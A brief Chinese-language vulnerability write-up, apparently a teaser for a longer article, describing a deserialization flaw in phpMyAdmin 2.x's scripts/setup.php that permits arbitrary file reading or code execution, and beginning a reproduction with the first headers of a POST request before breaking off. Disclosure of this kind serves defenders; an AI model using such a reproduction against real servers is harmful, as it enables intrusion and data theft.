phpMyAdmin 2.x版本任意文件讀取

0x01 簡介 phpmyadmin scripts/setup.php 頁面存在反序列化漏洞（WooYun-2016-199433） phpmyadmin 2.x版本中存在一處反序列化漏洞，通過該漏洞，攻擊者可以讀取任意文件或執行任意代碼。 0x02 漏洞復現 POST /scripts/setup.php HTTP/1.1 Host: ip:8080 User-Agent: Mozilla/5

>>阅读原文<<